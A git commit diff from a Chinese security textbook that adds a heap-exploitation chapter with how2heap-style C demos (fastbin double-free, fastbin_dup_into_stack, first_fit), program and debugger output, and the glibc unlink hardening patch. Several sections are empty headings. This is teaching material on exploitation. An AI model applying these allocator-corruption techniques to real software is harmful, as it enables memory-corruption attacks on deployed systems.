$ gcc -fsanitize=address -g fastbin_dup.c
|
||||
$ ./a.out
|
||||
Allocating 3 buffers.
|
||||
1st malloc(9) 0x60200000eff0 points to AAAAAAAA
|
||||
2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
|
||||
3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
|
||||
Freeing the first one 0x60200000eff0.
|
||||
Then freeing another one 0x60200000efd0.
|
||||
Freeing the first one 0x60200000eff0 again.
|
||||
=================================================================
|
||||
==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
|
||||
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
|
||||
#1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
|
||||
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
#3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
|
||||
|
||||
0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
|
||||
freed by thread T0 here:
|
||||
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
|
||||
#1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
|
||||
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
|
||||
previously allocated by thread T0 here:
|
||||
#0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
|
||||
#1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
|
||||
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
```
|
||||
一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
|
||||
|
||||
#### fastbin_dup_into_stack
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int main() {
|
||||
unsigned long long stack_var = 0x21;
|
||||
fprintf(stderr, "Allocating 3 buffers.\n");
|
||||
char *a = malloc(9);
|
||||
char *b = malloc(9);
|
||||
char *c = malloc(9);
|
||||
strcpy(a, "AAAAAAAA");
|
||||
strcpy(b, "BBBBBBBB");
|
||||
strcpy(c, "CCCCCCCC");
|
||||
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
|
||||
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
|
||||
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
|
||||
|
||||
fprintf(stderr, "Freeing the first one %p.\n", a);
|
||||
free(a);
|
||||
fprintf(stderr, "Then freeing another one %p.\n", b);
|
||||
free(b);
|
||||
fprintf(stderr, "Freeing the first one %p again.\n", a);
|
||||
free(a);
|
||||
|
||||
fprintf(stderr, "Allocating 4 buffers.\n");
|
||||
unsigned long long *d = malloc(9);
|
||||
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
|
||||
fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
|
||||
char *e = malloc(9);
|
||||
strcpy(e, "EEEEEEEE");
|
||||
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
|
||||
char *f = malloc(9);
|
||||
strcpy(f, "FFFFFFFF");
|
||||
fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
|
||||
char *g = malloc(9);
|
||||
strcpy(g, "GGGGGGGG");
|
||||
fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g fastbin_dup_into_stack.c
|
||||
$ ./a.out
|
||||
Allocating 3 buffers.
|
||||
1st malloc(9) 0xcf2010 points to AAAAAAAA
|
||||
2nd malloc(9) 0xcf2030 points to BBBBBBBB
|
||||
3rd malloc(9) 0xcf2050 points to CCCCCCCC
|
||||
Freeing the first one 0xcf2010.
|
||||
Then freeing another one 0xcf2030.
|
||||
Freeing the first one 0xcf2010 again.
|
||||
Allocating 4 buffers.
|
||||
4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
|
||||
5nd malloc(9) 0xcf2030 points to EEEEEEEE
|
||||
6rd malloc(9) 0xcf2010 points to FFFFFFFF
|
||||
7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG
|
||||
```
|
||||
这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk,在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样,漏洞也同样是 double-free,只有给 fd 填充的内容不一样。
|
||||
|
||||
三个 malloc 之后:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x602010: 0x4141414141414141 0x0000000000000000
|
||||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
|
||||
0x602030: 0x4242424242424242 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||||
0x602050: 0x4343434343434343 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
|
||||
0x602070: 0x0000000000000000
|
||||
```
|
||||
三个 free 之后:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed twice]
|
||||
0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
|
||||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
|
||||
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
|
||||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||||
0x602050: 0x4343434343434343 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||||
0x602070: 0x0000000000000000
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
|
||||
```
|
||||
这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8,从而在栈上伪造出一个 free 的 chunk(当然也可以是其他的地址):
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d
|
||||
0x602010: 0x00007fffffffdc30 0x0000000000000000 <-- fd pointer
|
||||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
|
||||
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
|
||||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||||
0x602050: 0x4343434343434343 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||||
0x602070: 0x0000000000000000
|
||||
gef➤ p &stack_var
|
||||
$4 = (unsigned long long *) 0x7fffffffdc38
|
||||
gef➤ x/5gx 0x7fffffffdc38-0x8
|
||||
0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk [seems to be freed]
|
||||
0x7fffffffdc40: 0x0000000000602010 0x0000000000602010 <-- fd pointer
|
||||
0x7fffffffdc50: 0x0000000000602030
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
|
||||
```
|
||||
可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021
|
||||
0x602010: 0x4646464646464646 0x0000000000000000
|
||||
0x602020: 0x0000000000000000 0x0000000000000021
|
||||
0x602030: 0x4545454545454545 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000021
|
||||
0x602050: 0x4343434343434343 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||||
0x602070: 0x0000000000000000
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
|
||||
```
|
||||
再次 malloc,即可在 fake chunk 处分配内存:
|
||||
```
|
||||
gef➤ x/5gx 0x7fffffffdc38-0x8
|
||||
0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk
|
||||
0x7fffffffdc40: 0x4747474747474747 0x0000000000602000
|
||||
0x7fffffffdc50: 0x0000000000602030
|
||||
```
|
||||
|
||||
#### unsafe_unlink
|
||||
```c
|
||||
|
||||
```
|
||||
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的。
|
||||
|
||||
Ubuntu16.04 使用 libc-2.23,其中 unlink 是通过宏实现的,代码如下:
|
||||
```c
|
||||
/* Take a chunk off a bin list */
|
||||
#define unlink(AV, P, BK, FD) { \
|
||||
FD = P->fd; \
|
||||
BK = P->bk; \
|
||||
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
|
||||
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
|
||||
else { \
|
||||
FD->bk = BK; \
|
||||
BK->fd = FD; \
|
||||
if (!in_smallbin_range (P->size) \
|
||||
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
|
||||
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|
||||
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
|
||||
malloc_printerr (check_action, \
|
||||
"corrupted double-linked list (not small)", \
|
||||
P, AV); \
|
||||
if (FD->fd_nextsize == NULL) { \
|
||||
if (P->fd_nextsize == P) \
|
||||
FD->fd_nextsize = FD->bk_nextsize = FD; \
|
||||
else { \
|
||||
FD->fd_nextsize = P->fd_nextsize; \
|
||||
FD->bk_nextsize = P->bk_nextsize; \
|
||||
P->fd_nextsize->bk_nextsize = FD; \
|
||||
P->bk_nextsize->fd_nextsize = FD; \
|
||||
} \
|
||||
} else { \
|
||||
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
|
||||
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
|
||||
} \
|
||||
} \
|
||||
} \
|
||||
}
|
||||
```
|
||||
其中存在一个溢出的问题,
|
||||
|
||||
而在 libc-2.25 中已经修复了这个溢出漏洞,在开头增加了对 size 和 next->prev->size 是否相同的检查,补丁如下:
|
||||
```diff
|
||||
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
|
||||
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
|
||||
Author: DJ Delorie <dj@delorie.com>
|
||||
Date: Fri Mar 17 15:31:38 2017 -0400
|
||||
|
||||
Further harden glibc malloc metadata against 1-byte overflows.
|
||||
|
||||
Additional check for chunk_size == next->prev->chunk_size in unlink()
|
||||
|
||||
2017-03-17 Chris Evans <scarybeasts@gmail.com>
|
||||
|
||||
* malloc/malloc.c (unlink): Add consistency check between size and
|
||||
next->prev->size, to further harden against 1-byte overflows.
|
||||
|
||||
diff --git a/malloc/malloc.c b/malloc/malloc.c
|
||||
index e29105c372..994a23248e 100644
|
||||
--- a/malloc/malloc.c
|
||||
+++ b/malloc/malloc.c
|
||||
@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
|
||||
|
||||
/* Take a chunk off a bin list */
|
||||
#define unlink(AV, P, BK, FD) { \
|
||||
+ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
|
||||
+ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
|
||||
FD = P->fd; \
|
||||
BK = P->bk; \
|
||||
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
|
||||
```
|
||||
|
||||
#### house_of_spirit
|
||||
|
||||
#### poison_null_byte
|
||||
|
||||
#### house_of_lore
|
||||
|
||||
#### overlapping_chunks
|
||||
|
||||
#### overlapping_chunks_2
|
||||
|
||||
#### house_of_force
|
||||
|
||||
#### unsorted_bin_attack
|
||||
|
||||
#### house_of_einherjar
|
||||
|
||||
#### house_of_orange
|
||||
|
||||
|
||||
## 参考资料
|
||||
- [how2heap](https://github.com/shellphish/how2heap)
|
||||
- [Heap Exploitation](https://heap-exploitation.dhavalkapil.com/)
|
@ -1 +0,0 @@
|
||||
# 3.3.5 堆溢出
|
@ -8,7 +8,7 @@
|
||||
- [3.3.2 整数溢出](3.3.2_integer_overflow.md)
|
||||
- [3.3.3 栈溢出](3.3.3_stack_overflow.md)
|
||||
- [3.3.4 返回导向编程(ROP)](3.3.4_rop.md)
|
||||
- [3.3.5 堆溢出](3.3.5_heap_overflow.md)
|
||||
- [3.3.5 堆利用](3.3.5_heap_exploit.md)
|
||||
- [3.4 Web](3.4_web.md)
|
||||
- [3.5 Misc](3.5_misc.md)
|
||||
- [3.6 Mobile](3.6_mobile.md)
|
||||
|
@ -703,7 +703,7 @@ gef➤ x/70gx 0x604010-0x10
|
||||
0x604080: 0x4141414141414141 0x4141414141414141
|
||||
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 [be freed] <-- fastbins
|
||||
0x6040a0: 0x0000000000000000 0x0000000400000003 <-- selected
|
||||
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bins
|
||||
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bin
|
||||
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd | bk
|
||||
0x6040d0: 0x4242424242424242 0x4242424242424242
|
||||
0x6040e0: 0x4242424242424242 0x4242424242424242
|
||||
@ -761,7 +761,7 @@ gef➤ x/70gx 0x604010-0x10
|
||||
0x604060: 0x4141414141414141 0x4141414141414141
|
||||
0x604070: 0x4141414141414141 0x4141414141414141
|
||||
0x604080: 0x4141414141414141 0x4141414141414141
|
||||
0x604090: 0x0000000000000000 0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bins
|
||||
0x604090: 0x0000000000000000 0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bin
|
||||
0x6040a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- selected
|
||||
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- player 2 [be freed]
|
||||
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
@ -799,7 +799,7 @@ gef➤ heap bins unsorted
|
||||
```
|
||||
|
||||
#### alloc again
|
||||
添加一个球员,player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bins 中取出:
|
||||
添加一个球员,player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bin 中取出:
|
||||
```python
|
||||
alloc('D'*16 + p64(atoi_got))
|
||||
```
|
||||
@ -819,7 +819,7 @@ gef➤ x/70gx 0x604010-0x10
|
||||
0x604080: 0x4141414141414141 0x4141414141414141
|
||||
0x604090: 0x0000000000000000 0x0000000000000021 <-- name 3
|
||||
0x6040a0: 0x4444444444444444 0x4444444444444444 <-- selected
|
||||
0x6040b0: 0x0000000000603110 0x0000000000000091 <-- unsorted_bins
|
||||
0x6040b0: 0x0000000000603110 0x0000000000000091 <-- unsorted_bin
|
||||
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
0x6040d0: 0x4242424242424242 0x4242424242424242
|
||||
0x6040e0: 0x4242424242424242 0x4242424242424242
|
||||
|
8
src/Others/3.3.5_heap_exploit/Makefile
Normal file
8
src/Others/3.3.5_heap_exploit/Makefile
Normal file
@ -0,0 +1,8 @@
|
||||
PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
|
||||
CFLAGS += -std=c99 -g
|
||||
|
||||
# CFLAGS += -fsanitize=address
|
||||
|
||||
all: $(PROGRAMS)
|
||||
clean:
|
||||
rm -f $(PROGRAMS)
|
34
src/Others/3.3.5_heap_exploit/fastbin_dup.c
Normal file
34
src/Others/3.3.5_heap_exploit/fastbin_dup.c
Normal file
@ -0,0 +1,34 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int main() {
|
||||
fprintf(stderr, "Allocating 3 buffers.\n");
|
||||
char *a = malloc(9);
|
||||
char *b = malloc(9);
|
||||
char *c = malloc(9);
|
||||
strcpy(a, "AAAAAAAA");
|
||||
strcpy(b, "BBBBBBBB");
|
||||
strcpy(c, "CCCCCCCC");
|
||||
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
|
||||
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
|
||||
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
|
||||
|
||||
fprintf(stderr, "Freeing the first one %p.\n", a);
|
||||
free(a);
|
||||
fprintf(stderr, "Then freeing another one %p.\n", b);
|
||||
free(b);
|
||||
fprintf(stderr, "Freeing the first one %p again.\n", a);
|
||||
free(a);
|
||||
|
||||
fprintf(stderr, "Allocating 3 buffers.\n");
|
||||
char *d = malloc(9);
|
||||
char *e = malloc(9);
|
||||
char *f = malloc(9);
|
||||
strcpy(d, "DDDDDDDD");
|
||||
fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
|
||||
strcpy(e, "EEEEEEEE");
|
||||
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
|
||||
strcpy(f, "FFFFFFFF");
|
||||
fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
|
||||
}
|
38
src/Others/3.3.5_heap_exploit/fastbin_dup_into_stack.c
Normal file
38
src/Others/3.3.5_heap_exploit/fastbin_dup_into_stack.c
Normal file
@ -0,0 +1,38 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int main() {
|
||||
unsigned long long stack_var = 0x21;
|
||||
fprintf(stderr, "Allocating 3 buffers.\n");
|
||||
char *a = malloc(9);
|
||||
char *b = malloc(9);
|
||||
char *c = malloc(9);
|
||||
strcpy(a, "AAAAAAAA");
|
||||
strcpy(b, "BBBBBBBB");
|
||||
strcpy(c, "CCCCCCCC");
|
||||
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
|
||||
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
|
||||
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
|
||||
|
||||
fprintf(stderr, "Freeing the first one %p.\n", a);
|
||||
free(a);
|
||||
fprintf(stderr, "Then freeing another one %p.\n", b);
|
||||
free(b);
|
||||
fprintf(stderr, "Freeing the first one %p again.\n", a);
|
||||
free(a);
|
||||
|
||||
fprintf(stderr, "Allocating 4 buffers.\n");
|
||||
unsigned long long *d = malloc(9);
|
||||
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
|
||||
fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
|
||||
char *e = malloc(9);
|
||||
strcpy(e, "EEEEEEEE");
|
||||
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
|
||||
char *f = malloc(9);
|
||||
strcpy(f, "FFFFFFFF");
|
||||
fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
|
||||
char *g = malloc(9);
|
||||
strcpy(g, "GGGGGGGG");
|
||||
fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
|
||||
}
|
24
src/Others/3.3.5_heap_exploit/first_fit.c
Normal file
24
src/Others/3.3.5_heap_exploit/first_fit.c
Normal file
@ -0,0 +1,24 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int main() {
|
||||
char* a = malloc(512);
|
||||
char* b = malloc(256);
|
||||
char* c;
|
||||
|
||||
fprintf(stderr, "1st malloc(512): %p\n", a);
|
||||
fprintf(stderr, "2nd malloc(256): %p\n", b);
|
||||
strcpy(a, "AAAAAAAA");
|
||||
strcpy(b, "BBBBBBBB");
|
||||
fprintf(stderr, "first allocation %p points to %s\n", a, a);
|
||||
|
||||
fprintf(stderr, "Freeing the first one...\n");
|
||||
free(a);
|
||||
|
||||
c = malloc(500);
|
||||
fprintf(stderr, "3rd malloc(500): %p\n", c);
|
||||
strcpy(c, "CCCCCCCC");
|
||||
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
|
||||
fprintf(stderr, "first allocation %p points to %s\n", a, a);
|
||||
}
|
Loading…
Reference in New Issue
Block a user